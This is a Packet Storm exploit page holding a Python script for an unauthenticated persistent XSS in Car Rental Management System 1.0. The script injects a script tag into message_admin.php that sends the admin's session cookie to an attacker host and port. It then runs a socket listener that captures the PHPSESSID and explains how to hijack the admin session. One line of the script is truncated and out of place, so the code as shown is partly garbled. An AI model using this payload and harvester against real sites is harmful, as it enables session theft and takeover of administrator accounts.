Register | Login

packet storm
exploit the possibilities

Search …

| Home | Files | News | About | Contact |&[SERVICES_TAB] | Add New |

# Car Rental Management System 1.0 Cross Site Scripting

Authored by Bobby Cooke

Posted Aug 7, 2020

Car Rental Management System version 1.0 unauthenticated persistent cross site scripting session harvester exploit.

tags | exploit, xss

SHA-256 | b40d22bc3d4f56d3e0cef9a50ef2bae88ee704433658470af06ab12026f23b0a Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title:   Car Rental Management System v1.0 - Unauthenticated Persistent XSS Session Harvester
# Exploit Author:  Bobby Cooke
# Date:            August 6, 2020
# Vendor Homepage: https://projectworlds.in
# Software Link:   https://github.com/projectworlds32/Car-Rental-Syatem-PHP-MYSQL/archive/master.zip
# Version:         1.0
# CWE-79:          Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
# CWE-284:         Improper Access Control
# OWASP Top Ten:   A5:2017-Broken Access Control & A7:2017-Cross-Site Scripting (XSS)
# CVSS Base Score: 8.1 | Impact Subscore: 5.2 | Exploitability Subscore: 2.8
# CVSS Vector:     AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
# Tested On:       Windows 10 Pro + XAMPP | Python 2.7
# Vulnerability Description:
#   Persistent Cross-Site Scripting (XSS) vulnerability in 'message_admin.php' webpage of
#   ProjectWorlds Car Rental Management System v1.0 allows unauthenticated remote attackers to
#   harvest admin login session cookie & steal admin session via admin logging in.

import socket,sys,re,requests
import json
from thread import *
from colorama import Fore, Back, Style

F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok   = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err  = S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]

def genXssPayload(LHOST,LPORT):
    XSS_PAYLOAD  = '<script>'
    XSS_PAYLOAD += 'function cookieMonster() {'
    XSS_PAYLOAD += 'new Image().src = "http://'+LHOST+':'+LPORT+'/?sessionID="+document.cookie;'
    XSS_PAYLOAD += '}'
    XSS_PAYLOAD += 'window.addEventListener("load", cookieMonster());'
    XSS_PAYLOAD += '</script>'
    return XSS_PAYLOAD

def clientthread(conn):
    try:
        while True:
            data = conn.recv(1024)
            sess = re.findall(r'PHPSESSID=\w*',data)

print(S[3]+F[6]+'javascript'+F[0]+':'+F[2]+'void'+F[0]+'('+F[6]+'document'+F[0]+'.'+F[3]+'cookie'+F[0]+'="'+F[5
            print(ok+"Go to the admin page again to become "+F[2]+"ADMIN"+F[0])
            if not data:
                break
    except:
        conn.close()

def formatHelp(STRING):
    return S[3]+F[2]+STRING+S[0]

def sig():
    SIG  = S[3]+F[4]+"                .-----.._       ,--.\n"
    SIG += F[4]+"                |  ..    >  ___ |  | .--.\n"
    SIG += F[4]+"                |  |.'  ,'-'"+F[2]+"* *"+F[4]+"'-. |/  /__   __\n"
    SIG += F[4]+"                |      </ "+F[2]+"*  *  *"+F[4]+" \    /   \\/   \\\n"
    SIG += F[4]+"                |  |>   )  "+F[2]+" * *"+F[4]+"   /     \\       \\\n"
    SIG += F[4]+"                |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += F[4]+"                    _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
    return SIG

def header():
    head = S[3]+F[2]+'       --- Car Rental MS v1.0 | Persistent XSS Credential Harvester ---\n'+S[0]
    return head

if __name__ == "__main__":
    print(header())
    print(sig())
    if len(sys.argv) != 4:
        print(err+formatHelp("(+) Usage:   python %s <WEBAPP_URL> <LHOST> <LPORT>" % sys.argv[0]))
        print(err+formatHelp("(+) Example: python %s 'http://172.16.65.130/carrental/' '172.16.65.1' 80" %
sys.argv[0]))
        sys.exit(-1)
    WEBAPP_URL = sys.argv[1]
    LHOST = sys.argv[2]
    LPORT = sys.argv[3]
    if not re.match(r".*/$", WEBAPP_URL):
        WEBAPP_URL = WEBAPP_URL+'/'
    MSG_ADMIN = WEBAPP_URL+'message_admin.php'
    s = requests.Session()
    PAYLOAD = genXssPayload(LHOST,LPORT)
    fdata = {'message' : PAYLOAD, 'send' : '1337Hax0rz'}
    sendPayload = s.post(url=MSG_ADMIN, data=fdata, verify=False)
    if sendPayload.status_code == 200:
        print(ok+"Sent POST Request to "+F[5]+S[3]+MSG_ADMIN+F[0]+S[0]+" with
"+F[7]+S[3]+"Payload"+F[0]+S[0]+":")
        print(S[3]+F[7]+json.dumps(fdata, sort_keys=True, indent=4)+F[0]+S[0])
    else:
        print(err+'Cannot send payload to webserver.')
        sys.exit(-1)
    print(ok+S[3]+F[2]+'Starting Session ID Harvester'+F[0])
    LPORT = int(LPORT)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.bind((LHOST,LPORT))
        print(ok+"Bound to Socket.")
        sock.listen(10)
        print(ok+"Listening on Socket for incoming connections.")
    except:
        print(err+"Failed to bind to Socket.")
    try:
        while 1:
            conn, addr = sock.accept()
            print(ok+"Victim connected from "+addr[0]+":"+str(addr[1]))
            print(ok+"In FireFox go to: "+F[3]+WEBAPP_URL+"/admin/index.php"+F[0])
            print(ok+"Open the Web Console and enter: "+F[0])
            start_new_thread(clientthread ,(conn,))
    except:
        sock.close()
        print(err+"Exiting Credential Harvester..")
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | | | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other